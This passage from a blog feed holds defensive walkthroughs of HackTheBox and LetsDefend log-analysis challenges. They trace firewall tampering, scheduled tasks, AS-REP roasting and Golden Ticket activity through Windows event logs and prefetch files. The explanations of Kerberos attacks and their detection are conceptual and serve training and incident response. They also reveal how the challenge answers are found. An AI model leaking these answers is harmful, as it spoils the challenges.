System node. Look for the TimeCreated \u0026gt; SystemTime attribute. The SystemTime value is always stored in UTC and is the timestamp you’ll need for the answer.\nEvent Log Explorer: Identifying the logon time in UTC\nNow that we’ve successfully identified the cyberjunkie’s first successful logon, we can move on to the next question.\nQuestions 2 \u0026amp; 3: The user tampered with firewall settings on the system. Analyze the firewall event logs to find out the Name of the firewall rule added? Whats the direction of the firewall rule? Next up, we need to figure out what firewall rule cyberjunkie tampered with. For this step, open the Windows Firewall‑Firewall.evtx artifact in Event Log Explorer. Just like before, there’s plenty of noise in this log, but we can cut through it by focusing on events that occurred after the first cyberjunkie sign‑in on 3/27/2023 at 10:37:09 AM.\nFiltering by time quickly helps us identify the events we care about. Near the top of the log, we’ll find an Event ID 2004, which indicates that a rule has been added to the Windows Defender Firewall exception rules.\nEvent Log Explorer: Finding a suspicious firewall exception rule\nOpening this event gives us everything we need. The rule name includes the name of a well‑known penetration testing tool: Metasploit. Since this is a challenge scenario, that kind of red-flag naming is intentional and makes the rule easy to spot.\nInside the same event, you’ll also find the Direction attribute, which has a value of 2. In Windows Firewall terminology, that value represents an outbound rule. Finally, we can correlate the ModifyingUser SID to confirm that cyberjunkie is indeed the account responsible for adding it.\nNow that we’ve extracted both the rule name and its direction, we’re ready to move on to the next part of the investigation.\nQuestion 4: The user changed audit policy of the computer. Whats the Subcategory of this changed policy? Our next task is to identify a change to the computer’s audit policy and determine the subcategory that was modified. This is an event I’m not familiar with off‑hand, so this is a good time to pivot and do a little research.\nOne of my favorite quick‑reference resources for security event IDs is the Ultimate Windows Security Windows Security Log Events Encyclopedia. A simple search for “audit policy” points us toward Event ID 4719, which corresponds to “System audit policy was changed.”\nWindows Security Log Event ID 4719 - System audit policy was changed _4719: System audit policy was changed On this page This computer\u0026rsquo;s system level audit policy was modified - either via…_www.ultimatewindowssecurity.com\nNow that we’ve identified the correct event, we can return to Security.evtx in Event Log Explorer and apply a filter for Event ID 4719. This gives us a single event, which makes our job nice and straightforward. We just need to grab the Subcategory value from the event details to answer the question.\nOnce we extract that field, we’ll have everything we need for Question 4.\nEvent Log Explorer: Identifying the subcategory in Event ID 4719\nQuestions 5, 6, \u0026amp; 7: The user “cyberjunkie” created a scheduled task. Whats the name of this task? Whats the full path of the file which was scheduled for the task? What are the arguments of the command? Moving right along, Questions 5, 6, and 7 focus on identifying a scheduled task created by cyberjunkie. This is important because scheduled tasks are a classic persistence technique. An attacker can schedule recurring execution of scripts or binaries to maintain access long after their initial intrusion. This technique maps directly to MITRE ATT\u0026amp;CK Scheduled Task/Job: Scheduled Task (T1053.005).\nTo investigate this, we’ll turn again to the Ultimate Windows Security Windows Security Log Events Encyclopedia. A quick lookup shows that scheduled task creation is logged as Event ID 4698, which corresponds to “A scheduled task was created.”\nWindows Security Log Event ID 4698 - A scheduled task was created _4698: A scheduled task was created On this page The user indicated in Subject: just created a new scheduled task (Start…_www.ultimatewindowssecurity.com\nWith that information in hand, we return to Security.evtx in Event Log Explorer and adjust our filter to Event ID 4698. Just like in the previous questions, this gives us a single event to review, making the analysis easy.\nEvent Log Explorer: Analyzing the scheduled task\nReviewing the event description reveals everything we need to answer all three questions:\nThe name of the scheduled task The full path to the PowerShell script (Automation-HTB.ps1) The command‑line arguments used when the task was created Once we extract those details, we’ve successfully solved Questions 5, 6, and 7 — and we’re ready to stumble into the next part of the investigation.\nQuestions 8, 9, \u0026amp; 10: The antivirus running on the system identified a threat and performed actions on it. Which tool was identified as malware by antivirus? Whats the full path of the malware which raised the alert? What action was taken by the antivirus? Questions 8, 9, and 10 all focus on malware detection activity on the compromised device. To answer them, we’ll work with the Windows Defender‑Operational.evtx artifact, which contains logs related to Microsoft Defender Antivirus operational and malware‑related events.\nLoad this artifact into Event Log Explorer. For this investigation, we’ll filter for Event IDs 1116 and 1117. According to Microsoft Learn, these correspond to:\n1116 — MALWAREPROTECTION_STATE_MALWARE_DETECTED 1117 — MALWAREPROTECTION_STATE_MALWARE_ACTION_TAKEN Even though this log contains a lot of noise, we can narrow things down again by focusing only on events that occurred after the first cyberjunkie login. Doing this drops us down to only four events: two detections (1116) and two actions (1117).\nEvent Log Explorer: Defender events after the threat actor sign-in\nLooking at the 1116 events, we see that Microsoft Defender detected two components of SharpHound (SharpHound.ps1 and SharpHound.exe). SharpHound is the ingestor module for BloodHound, a well‑known Active Directory reconnaissance tool frequently used by red teams and attackers. Both files were bundled together in a single .zip archive, and the detection explicitly references that tool — which answers Question 8.\nEvent Log Explorer: Identifying SharpHound activity through the Windows Defender Logs\nTo answer Questions 9 and 10, we can check either of the 1117 events. These entries provide:\nThe full path where the malware files were located The action taken by the antivirus engine With this information, we can fully resolve all three questions!\nQuestion 11: The user used Powershell to execute commands. What command was executed by the user? We’re nearing the end of this investigation, but we still have a few artifacts left to analyze. This time, we’ll pivot to the Powershell‑Operational.evtx log. As before, load the log into Event Log Explorer so we can filter the entries and focus only on events from the date of the attack.\nIn the filter options, select the date checkbox and set both the From and To values to 3/27/2023.\nEvent Log Explorer: Filtering the PowerShell log for the date of the attack\nBecause this device has PowerShell script block logging enabled, we can home in on Event ID 4104 to collect insights into what commands were executed. Event ID 4104 records script block content, which often includes some handy forensic data like the full command line used in a PowerShell session. Check it out:\nEvent Log Explorer: Identifying the Script Block Contents\nThe second event gives us the full command. In this case, cyberjunkie executed a PowerShell command to determine the MD5 hash of the Automation-HTB.ps1 script we identified back in Question 6. It’s not the most exciting example of an attacker command, but it’s still a great demonstration of how much forensic insight script block logging can provide.\nQuestion 12: We suspect the user deleted some event logs. Which Event log file was cleared? And finally, we’ve made it to the end of our investigation. To answer Question 12, we’re looking for signs that the attacker attempted to cover their tracks by deleting event logs. Tampering with logs is a classic indicator removal technique and maps directly to MITRE ATT\u0026amp;CK — Clear Windows Event Logs (T1070.001).\nThere are two locations we need to check. The first is the Security.evtx log. Here, we can filter for Event ID 1102, which corresponds to “The audit log was cleared.”\nWindows Security Log Event ID 1102 - The audit log was cleared _1102: The audit log was cleared On this page Event 1102 is logged whenever the Security log is cleared, REGARDLESS of…_www.ultimatewindowssecurity.com\nEvent Log Explorer: Event ID 1102\nWhile this confirms that the Security log was indeed cleared, this isn’t the answer we’re looking for. The question asks which Event Log file was cleared, and 1102 only tells us the Security log was wiped, but the challenge data suggests additional tampering.\nThat brings us to the artifact we haven’t touched yet: the System.evtx log.\nLoad System.evtx into Event Log Explorer and filter for Event ID 104, which corresponds to “[Other log file cleared](https://learn.microsoft.com/en-us/windows/security/operating-system-security/device-management/use-windows-event-forwarding-to-assist-in-intrusion-detection#appendix-e--- annotated-baseline-subscription-event-query).” This event is generated when any log except the Security log is cleared.\nEvent Log Explorer: Identifying the cleared log file with Event ID 104\nBingo. The top event from the day of the attack shows exactly what we need. Event ID 104 reveals that the attacker cleared the Microsoft-Windows-Windows Firewall with Advanced Security/Firewall log.\nWith this final piece of the puzzle, we’ve wrapped up the investigation and uncovered an attempt by cyberjunkie to cover his tracks by wiping the event logs. Nice work!\nConclusion: How fun was that! A big thank you to Hack The Box for another fantastic challenge.\nThis challenge was another awesome entry in the Intro to Blue Team track with a tight focus on Windows Event Log Analysis, correlating activity across multiple logs, filtering specific event IDs, and piecing together the cyberjunkie user’s actions step‑by‑step.\nAs we moved through the investigation, we followed the attacker’s trail across authentication events, firewall tampering, audit policy changes, scheduled task creation, malware detections, script block execution, and even attempts at covering their tracks through log clearing. Each question built naturally into the next, creating a clear and logical narrative that mirrors real‑world DFIR work. It was a great reminder of how much visibility Windows logs provide — if we know where to look.\nI chose this week’s challenge to brush up on some Event IDs I don’t use every day, add a few new ones to my notebook (which I’ve added in the quick reference below), and sharpen my workflow using Event Log Explorer. It’s always a cool experience to piece together an attack using only a handful of logging artifacts. It just goes to show how powerful proper log analysis can be when it comes to uncovering malicious activity. Great stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we’re in this together!\nUntil next week’s challenge — stay curious and be safe out there!\nQuick Reference: Event IDs we covered 4624 — Successful logon (Security.evtx). Use New Logon\\Account Name in Event Log Explorer to pinpoint the user 2004 — Windows Defender Firewall rule added (Windows Firewall‑Firewall.evtx). Includes rule name, direction, and modifying user SID 4719 — System audit policy changed (Security.evtx). Look for Subcategory and related GUIDs 4698 — Scheduled task created (Security.evtx). Task XML reveals \u0026lt;Command\u0026gt; and \u0026lt;Arguments\u0026gt; 1116 — Malware detected (Windows Defender‑Operational.evtx). Threat name and often the container path 1117 — Malware action taken (Windows Defender‑Operational.evtx). Action such as Quarantined, Removed, or Blocked 4104 — PowerShell Script Block Logging (Powershell‑Operational.evtx). Captures script block contents and the full command line 1102 — Security log cleared (Security.evtx). Indicates the audit log was wiped 104 — Other Windows log cleared (System.evtx). Specifies the exact channel, e.g., Microsoft‑Windows‑Windows Firewall with Advanced Security/Firewall Tools \u0026amp; References: Challenge Link: https://app.hackthebox.com/sherlocks/LogJammer\nFlare-VM: https://github.com/mandiant/flare-vm\nUltimate IT Security — Windows Security Log Events: https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx\nMicrosoft Learn — about_Logging_Windows: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.5\nMicrosoft Tech Community — Windows Events, how to collect them in Sentinel and which way is preferred to detect Incidents: https://techcommunity.microsoft.com/blog/fasttrackforazureblog/windows-events-how-to-collect-them-in-sentinel-and-which-way-is-preferred-to-det/3997342\nMicrosoft Learn — Review event logs and error codes to troubleshoot issues with Microsoft Defender Antivirus: https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus\nMicrosoft Learn — Configure Windows Firewall logging: https://learn.microsoft.com/en-us/windows/security/operating-system-security/network-security/windows-firewall/configure-logging?tabs=intune\nMicrosoft Learn — 4624(S): An account was successfully logged on: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624\nMITRE ATT\u0026amp;CK — Scheduled Task/Job: Scheduled Task (T1053.005): Scheduled Task/Job: Scheduled Task, Sub-technique T1053.005 — Enterprise | MITRE ATT\u0026amp;CK®\nMITRE ATT\u0026amp;CK — Software — BloodHound (S0521): https://attack.mitre.org/software/S0521/\nMITRE ATT\u0026amp;CK — Indicator Removal: Clear Windows Event Logs (T1070.001): https://attack.mitre.org/techniques/T1070/001/\nMicrosoft Learn — Use Windows Event Forwarding to help with intrusion detection: https://learn.microsoft.com/en-us/windows/security/operating-system-security/device-management/use-windows-event-forwarding-to-assist-in-intrusion-detection\n","date":"2026-02-09T00:00:00Z","image":"/posts/hackthebox-logjammer-sherlock-walkthrough/b36e3a3ac52db8f63644f36a9fd3cbb6_MD5.png","permalink":"/posts/hackthebox-logjammer-sherlock-walkthrough/","title":"HackTheBox  — LogJammer Sherlock Walkthrough"},{"content":"LetsDefend — AS-REP Challenge Walkthrough Investigating Domain Controller Logs and Endpoint Artifacts Using Event Log Explorer and PECmd. Image Credit: https://app.letsdefend.io/challenge/as-rep-challenge\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog while looking for a detailed guide to the AS-REP challenge from LetsDefend, you\u0026rsquo;re in the right place.\nThis challenge pairs nicely with two others in the series, and there\u0026rsquo;s some overlap in approach. If you like this topic, check out:\nLetsDefend - LDAP Enumeration Challenge Walkthrough\nLetsDefend - Golden Ticket Challenge Walkthrough\nChallenge Scenario: A network security team received alerts from a Domain Controller (DC) indicating that a user was making unusual requests for Kerberos tickets, which is not typical for their role. Given that this behavior aligns with potential reconnaissance or lateral movement within the network, the security team escalated the issue to a senior investigator. The investigator has been tasked with analyzing the provided DC and workstation logs to trace the attacker\u0026rsquo;s movements, determine the source of the anomaly, and understand how the attacker gained access and what actions they might have taken inside the network.\nFor this challenge, we\u0026rsquo;re putting on our incident response hats. We\u0026rsquo;ve got suspicious Kerberos ticket requests, alerts from the responding DC, and a set of artifacts from the user\u0026rsquo;s workstation. It\u0026rsquo;s up to us to shed light on what happened and why.\nFrom the DC\u0026rsquo;s Windows Security Event Log, we\u0026rsquo;ll use Event Log Explorer to filter and correlate the attacker\u0026rsquo;s authentication activity. The goal is to determine what technique was used and confirm whether AS-REP roasting is in play. Once we\u0026rsquo;ve wrapped the DC review, we\u0026rsquo;ll pivot to workstation artifacts, including the client security event logs and Windows Prefetch files, to fully map out the attack.\nIf this is all new to you, don\u0026rsquo;t worry. By the end, you\u0026rsquo;ll have a solid understanding and repeatable approach for spotting Active Directory attacks like AS-REP roasting using just a domain controller\u0026rsquo;s security log — and then expanding the picture with endpoint artifacts. Time to go hunting for a needle in the haystack of logs — let\u0026rsquo;s go!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nAS-REP Primer: Before we jump too far into the investigation, let\u0026rsquo;s lay some groundwork and do a quick recap of what an AS-REP attack is in the context of a domain controller. This will help us contextualize the investigation as we move through it.\nIn an Active Directory environment, modern authentication is handled using Kerberos. We don\u0026rsquo;t need to go terribly in-depth, since there are excellent resources for deeper dives if you want to explore it more fully. The idea is that when a client in an Active Directory domain needs to access a resource or log in to a server, an authentication flow takes place using Kerberos. Microsoft has clear visuals in its Learn documentation for how that exchange works:\nhttps://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13\nThe AS-REQ and AS-REP are the first steps in the Kerberos authentication process. AS-REP roasting becomes possible when an account has Kerberos pre-authentication disabled. With pre-authentication enabled, the user\u0026rsquo;s AS-REQ includes a timestamp encrypted with their password hash. The domain controller must decrypt that timestamp before it will issue an AS-REP containing a TGT.\nWhen an account doesn\u0026rsquo;t require this pre-authentication, attackers can just send an AS-REQ, snag the AS-REP, and then brute-force the encrypted data offline to expose credentials. This tactic is what\u0026rsquo;s called an AS-REP Roasting attack, which MITRE ATT\u0026amp;CK classifies under Steal or Forge Kerberos Tickets: AS-REP Roasting (T1558.004).\nMITRE describes it like this:\nAdversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by Password Cracking Kerberos messages. For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4.\nNot good! But understanding this flow is exactly what we need as we move into the investigation.\nMITRE also provides helpful detection guidance. It recommends monitoring for patterns such as:\nDetects AS-REP roasting attempts by monitoring for Kerberos AS-REQ/AS-REP authentication patterns where preauthentication is disabled (Event ID 4768 with Pre-Auth Type 0). Correlates these requests with subsequent service ticket activity (Event ID 4769) and anomalies such as requests using weak RC4 encryption (etype 0x17).\nIn other words, by combining these telemetry points and applying them to our investigation, we can quickly spot AS-REP roasting activity and scope the attack. Let\u0026rsquo;s give it a shot!\nQuestions 1€“5: While reviewing the logs, Janice identified suspicious Kerberos ticket requests, potentially indicating an AS-REP attack. What is the exact time this attack occurred? What user account did the attacker target during this Kerberos attack? What is the SID associated with the targeted user account? What encryption algorithm was used in this Kerberos ticket request? What is the IP and port number that was used to request the ticket? Now that we\u0026rsquo;ve gotten a grasp of the theory behind an AS-REP attack, let\u0026rsquo;s put it into practice and jump into the challenge. After extracting the contents of AS-REP.7z, you\u0026rsquo;ll see two folders: Corrado, which contains the compromised workstation artifacts, and DC, which contains the domain controller logs.\nOverview of the challenge artifacts\nSince we\u0026rsquo;re investigating an AS-REP attack, we\u0026rsquo;ll need to focus on TGT ticket requests (Event ID [4768](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768)), which are only available on a domain controller. The first artifact we need to examine is the DC\u0026rsquo;s Security.evtx log. You can open it with Windows Event Viewer, or you can use Event Log Explorer, a third-party utility that significantly speeds up log analysis. Because Event Log Explorer is already included in the LetsDefend analysis environment, that\u0026rsquo;s what I\u0026rsquo;ll be using in this walkthrough.\nOnce you have the log open in Event Log Explorer, press the filter button in the top toolbar. In the filter window, search for Ticket Granting Ticket request events (Event ID 4768) where PreAuthType = 0. This applies what we learned directly from the MITRE ATT\u0026amp;CK detection strategy, reduces the log noise, and highlights requests for accounts where pre-authentication is disabled.\nEvent Log Explorer: Filtering TGT requests without pre-authentication\nWith the filtered results in front of us, the next step is to find the event matching the third parameter of the MITRE detection rule: a Ticket Encryption Type associated with a weak legacy algorithm such as RC4 (0x17). Scanning through the events, you\u0026rsquo;ll notice one entry that stands out because its Ticket Encryption Type field differs from the others.\nEvent Log Explorer: Identifying a request using weaker encryption\nNow that we\u0026rsquo;ve identified this event, we have all the information needed to answer the first five questions:\nWhen the attack occurred (remember to convert your answer to UTC!) Which user account was targeted The Security ID (SID) associated with that account The encryption algorithm used in the Kerberos request The IP address and port number the attacker used to request the ticket Question 6: The attacker managed to crack the hash and used it to log into the compromised machine. When was their first logon attempt? Now that we\u0026rsquo;ve identified the suspicious AS-REP in the domain controller logs, it\u0026rsquo;s time to pivot to our second artifact: the Security.evtx file from Corrado\u0026rsquo;s workstation. This log will help us spot the attacker\u0026rsquo;s first login attempt after cracking the hash obtained through the initial AS-REP Roasting activity.\nLoad the workstation\u0026rsquo;s Security.evtx file in Event Log Explorer. This time, filter for successful logons (Event ID [4624](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624)) on the device. To make the search more efficient, adjust the time window to only include events that happened after the suspicious AS-REP request. In this challenge, that means everything after 10/5/2024 2:42:44 PM and through the end of the day (10/5/2024 11:59:00 PM).\nSince we already identified a source IP address in Question 5 associated with the AS-REP activity, we can add that address as a custom field in the filter. This dramatically reduces our noise floor and helps us zero in on the attacker\u0026rsquo;s follow-up actions.\nEvent Log Explorer: Filtering successful logon events from the suspicious source IP\nLet\u0026rsquo;s start by looking at the earliest matching result. Even though the filter is showing only logins from the source IP we associated with the AS-REP traffic, there are several red flags in the event details that suggest malicious activity. These include:\nA Logon Type of 3, meaning a Network logon requested over SMB, WinRM, or another remote protocol An Account Name of ANONYMOUS LOGON A Logon GUID of {00000000-0000-0000-0000-000000000000}, which is expected for anonymous or unauthenticated network connections These characteristics strongly suggest that this is the attacker\u0026rsquo;s first attempt to access the machine using the cracked credential.\nEvent Log Explorer: First suspicious network logon tied to the attacker\u0026rsquo;s source IP\nQuestions 7 \u0026amp; 8: Once inside, the attacker began exploring the system. What was the first command they executed? When did the attacker execute this command exactly? Our next task is to figure out the first command the attacker ran once they gained access to Corrado\u0026rsquo;s workstation. To do that, we\u0026rsquo;ll pivot away from the event logs and turn to a third forensic artifact: Windows Prefetch files. You can find them in the following directory:\nC:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\AS-REP\\corrado\\prefetch\nRather than reinvent the wheel on describing these artifacts, I\u0026rsquo;ll pull from Magnet Forensics, who explain it much better than me:\nPrefetch files are great artifacts for forensic investigators trying to analyze applications that have been run on a system. Windows creates a prefetch file when an application is run from a particular location for the very first time. This is used to help speed up the loading of applications. For investigators, these files contain some valuable data on a user\u0026rsquo;s application history on a computer.\nSo, the idea is that if we can parse these files, we can identify which executable the attacker launched first. As-is, though, the files aren\u0026rsquo;t meant to be read directly, so we need a way to convert them into something usable\u0026hellip;\nThe contents of the prefetch folder\nEnter PECmd, one of the many tools in Eric Zimmerman\u0026rsquo;s suite. It\u0026rsquo;s built to parse the prefetch logs and it\u0026rsquo;s already loaded in the analysis environment, so we just need to run it from PowerShell. Here\u0026rsquo;s an example command where we tell PECmd to parse the prefetch directory and output to a CSV called investigation.csv:\n.\\PECmd.exe -d \u0026ldquo;C:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\AS-REP\\corrado\\prefetch\u0026quot; \u0026ndash;csv C:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\ \u0026ndash;csvf investigation.csv\nOnce the CSV is generated, open it with another Zimmerman tool, Timeline Explorer, which lets us sort and filter the parsed data.\nInside Timeline Explorer, filter on the Last Run column so we can start building a timeline. From the earlier questions, we know the attacker first logged in at 2024-10-05 14:48:58, so we\u0026rsquo;ll focus on entries right after that time. With the rows sorted, look at the Executable Name column and we\u0026rsquo;ll see the first commands run by the attacker.\nTimeline Explorer: Identifying the first command the attacker used to explore the system\nNow, Question 7 is slightly open to interpretation. It mentions that \u0026ldquo;the attacker began exploring the system,\u0026ldquo;so we can reasonably assume it\u0026rsquo;s asking for the first discovery-related command. In this dataset, that command is whoami.exe. This aligns with MITRE ATT\u0026amp;CK T1033 (System Owner/User Discovery) and is a common early step for attackers who want to confirm what account they compromised and what privileges they have.\nThe great thing is that now that we\u0026rsquo;ve identified the command, we can also answer Question 8 by pulling the exact timestamp from the Last Run column in Timeline Explorer. That gives us the precise moment the attacker executed whoami.exe.\nConclusion: How fun was that! A huge thank you to LetsDefend for dropping these awesome classic Active Directory attack challenges.\nThis one was a great chance to revisit Kerberos fundamentals and sharpen incident response skills. Instead of juggling a dozen artifacts, we focused on the Windows Security Event Logs and used Event Log Explorer to piece together what went down.\nAlong the way, we identified AS-REP roasting in DC logs (Event ID 4768 with PreAuthType = 0 and RC4 0x17), confirmed the attacker\u0026rsquo;s first successful logon on the endpoint (Event ID 4624, Logon Type = 3, ANONYMOUS LOGON, null GUID), and then used Windows Prefetch parsed with PECmd and reviewed in Timeline Explorer to surface whoami.exe as the first discovery command and grab the exact execution time.\nI chose this challenge to continue the series and to brush up on Windows IR and refresh on Kerberos misconfigurations like missing pre-authentication. Even in a cloud-heavy world, techniques like enumeration, ticket abuse, and lateral movement still show up in real incidents. Knowing how to spot them fast from DC telemetry and validate on the host is table stakes for any blue teamer. Awesome stuff.\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://app.letsdefend.io/challenge/as-rep-challenge\nEvent Log Explorer: https://eventlogxp.com/\nEric Zimmerman\u0026rsquo;s Tools: https://ericzimmerman.github.io/#!index.md\n**Microsoft Learn — \u0026quot; # \u0026quot;\nKerberos Network Authentication Service (V5) Synopsis\u0026rdquo; :** https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13\nMITRE ATT\u0026amp;CK — Steal or Forge Kerberos Tickets: AS-REP Roasting (T1558.004): https://attack.mitre.org/techniques/T1558/004/\n**Microsoft Learn — \u0026quot; # \u0026quot;\n4768(S, F): A Kerberos authentication ticket (TGT) was requested\u0026rdquo; **: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768\n**Microsoft Learn — \u0026quot; # \u0026quot;\n4624(S): An account was successfully logged on\u0026rdquo; :** https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624\n**Magnet Forensics Blog — \u0026quot; # \u0026quot;\nForensic Analysis of Prefetch files in Windows\u0026quot; :** https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/\nMITRE ATT\u0026amp;CK — System Owner/User Discovery (T1033): https://attack.mitre.org/techniques/T1033/\n","date":"2026-02-02T00:00:00Z","image":"/posts/letsdefend-asrep-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png","permalink":"/posts/letsdefend-asrep-challenge-walkthrough/","title":"LetsDefend — AS-REP Challenge Walkthrough"},{"content":"LetsDefend — Golden Ticket Challenge Walkthrough Investigating Domain Controller Logs Using Event Log Explorer and MITRE ATT\u0026amp;CK. Image Credit: https://app.letsdefend.io/challenge/golden-ticket\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog while looking for a detailed guide to the Golden Ticket challenge from LetsDefend, you\u0026rsquo;re in the right place. Stick around to learn a little bit about detecting Golden Ticket attacks in Active Directory.\nChallenge Scenario: An alert has been triggered within a network, indicating a possible attack on the Domain Controller (DC). The security team has detected suspicious activity suggesting lateral movement attempts from a compromised workstation to the DC. The attacker, identified as having infiltrated the network, appears to be targeting sensitive systems. An investigator is tasked with analyzing network traffic, reviewing event logs, and identifying how the attacker is navigating through the environment. The goal is to trace the attacker\u0026rsquo;s steps, determine their access point, and prevent further escalation to the Domain Controller.\nFor this challenge, we\u0026rsquo;re putting on our incident response hats. An alert points to lateral movement from a compromised workstation to the Domain Controller. Not good! Our job is to quickly figure out what the attacker did by hunting through the logs and following their trail.\nWe\u0026rsquo;ll work from a single artifact: the Windows Security Event Log, and use Event Log Explorer to filter and correlate the attacker\u0026rsquo;s authentication activities. The goal is to identify whether a Golden Ticket was forged and pin down the accounts, timestamps, and logon types to support our case.\nBy the end of this thing, you\u0026rsquo;ll have a repeatable approach for spotting Active Directory attacks like AS-REP roasting and suspected Golden Ticket usage from just a domain controller\u0026rsquo;s security log. Time to turn those noisy logs into a clean timeline of the attack — let\u0026rsquo;s go!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nGolden Ticket Basics: Before we jump too far into the investigation, let\u0026rsquo;s lay some groundwork and do a quick recap of what a Golden Ticket is in the context of a domain controller. This will help us contextualize the investigation as we go through it.\nIn an Active Directory environment, modern authentication is handled using Kerberos. We don\u0026rsquo;t need to go terribly in-depth, since there are excellent resources for deeper dives if you want to research further. The idea is that when a client in an Active Directory environment needs to access a resource or log in to a server, an authentication flow takes place using Kerberos. Here\u0026rsquo;s a quick visual from Microsoft Learn:\nhttps://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13\nFor the context of a Golden Ticket attack, remember that Kerberos uses tickets to validate client identity in the form of a Ticket Granting Ticket (TGT). A TGT is issued by the Key Distribution Center and encrypted/signed with the KRBTGT service account key. Put simply, compromising the KRBTGT hash lets an attacker forge TGTs that look legitimate to the KDC and then use them to request service tickets (TGS) for specific resources even as highly privileged accounts like a domain administrator.\nHere\u0026rsquo;s a concise, authoritative description from MITRE ATT\u0026amp;CK (Steal or Forge Kerberos Tickets: Golden Ticket — T1558.001):\nAdversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.[1] Golden tickets enable adversaries to generate authentication material for any account in Active Directory.[2]\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.[3]\nThe KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.[4] The KRBTGT password hash may be obtained using OS Credential Dumping and privileged access to a domain controller.\nSo, in the context of our investigation, we have an alert that a domain controller was compromised after lateral movement, which could give the attacker access to KRBTGT. Our job will be to identify whether a Golden Ticket was forged and used to escalate the attacker\u0026rsquo;s privileges to a higher level, like a domain administrator. Now that we\u0026rsquo;ve set the stage, let\u0026rsquo;s get into the investigation!\nQuestions 1, 2, \u0026amp; 3: When did the attacker first access the service account within the Domain Controller environment? What is the name of the compromised service account? Which IP address and port were used by the attacker to log into the compromised account? Let\u0026rsquo;s kick off this investigation and determine what the attacker was after. First, extract goldenticket.7z from the ChallengeFile folder. This leaves us with a single artifact: a copy of the Windows Security Event Log from the compromised domain controller — Security.evtx.\nOverview of the challenge artifacts\nThe first thing we need to home in on is malicious login activity contained in the log. For this, we can open this in Windows Event Viewer, or we can use Event Log Explorer, a third-party utility that speeds up event log analysis. Since Event Log Explorer is already built into the LetsDefend analysis environment, I\u0026rsquo;ll be using it for this walkthrough.\nNext, open Event Log Explorer and load the Security.evtx file. To quickly identify the first malicious login, we can then apply some filtering to surface exactly what we need.\nStart with broad strokes by filtering for Event ID 4624 (Successful Logon). You can access filtering options by pressing the filter button on the Event Log Explorer toolbar, then entering 4624 into the Event ID(s) field.\nSince we\u0026rsquo;re specifically searching for a service account login, we might guess that the account name contains the string service. Add a custom parameter in the description params tab: select new logon\\account name, set the operator to contains, and the value to service.\nEvent Log Explorer: Filtering successful login events containing the Account Name \u0026quot; # \u0026quot;\nservice\u0026quot;\nOnce we apply the filter, our event list becomes much more manageable. Because this investigation is in the context of a remotely accessed service account, we further whittle down results by discarding interactive (type 2) logons and searching for network logons (type 3) which is common with accessing services over the network.\nEvent Log Explorer: Identifying the first successful login for SQLService\nThis will lead us to stumble upon the key logon event above. In the Account Name field, we\u0026rsquo;ll find a 4624 network logon for the service account SQLService. That gives us the likely answer to Questions 1 \u0026amp; 2. Even better, 4624 events include Network Information fields such as Source Network Address and Source Port, which reveal where and how the logon originated. Those fields will provide the answer to Question 3 — nice!\nQuestions 4 \u0026amp; 5: Before that the same attacker tried to perform an AS-REP attack. What user account did the attacker target during this Kerberos attack? When did the attacker request that TGT ticket to perform the AS-REP attack? Now that we\u0026rsquo;ve established some baseline timestamps and uncovered indicators of attack, we\u0026rsquo;ll turn our attention to the attacker\u0026rsquo;s earlier technique — AS-REP Roasting.\nBefore we blindly pour through the logs, let\u0026rsquo;s turn to the MITRE ATT\u0026amp;CK entry for this tactic for context: Steal or Forge Kerberos Tickets: AS-REP Roasting (T1558.004)\nAdversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by Password Cracking Kerberos messages. For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4.\nThink back to the Kerberos diagram we reviewed earlier. The AS-REQ and AS-REP are the first steps in the Kerberos authentication flow. AS-REP roasting is possible in an 